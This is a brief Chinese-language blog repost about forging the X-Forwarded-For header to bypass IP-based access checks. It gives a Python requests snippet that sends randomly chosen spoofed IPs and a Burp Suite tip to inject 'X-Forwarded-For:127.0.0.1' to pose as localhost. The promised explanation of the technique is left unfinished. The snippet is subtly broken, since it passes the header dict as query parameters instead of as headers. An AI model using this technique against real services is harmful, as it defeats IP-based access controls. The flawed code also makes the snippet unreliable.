X-Forwarded-For伪造

---

需求

绕过IP校验；

Python Code

import random
import requests

ip_address = ['125.92.32.88', '125.92.32.88', '125.92.32.87']

headers = {"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
           "Accept-Encoding": "gzip, deflate",
           "Accept-Language": "zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3",
           "Connection": "keep-alive",
           "X-Forwarded-For": ip_address[random.randint(0, len(ip_address) - 1)],
           "Content-Length": "31",
           "Content-Type": "application/x-www-form-urlencoded",
           "User-Agent": "Mozilla/5.0 (Windows NT 5.1; rv:11.0) Gecko/20100101 Firefox/11.0"}

url = 'http://...'
html = requests.get(url, headers).content

Burp Suite - Request

发包时，添加一行

X-Forwarded-For:127.0.0.1

XFF绕过原理

待续...

转载于:https://www.cnblogs.com/mysticbinary/articles/10478348.html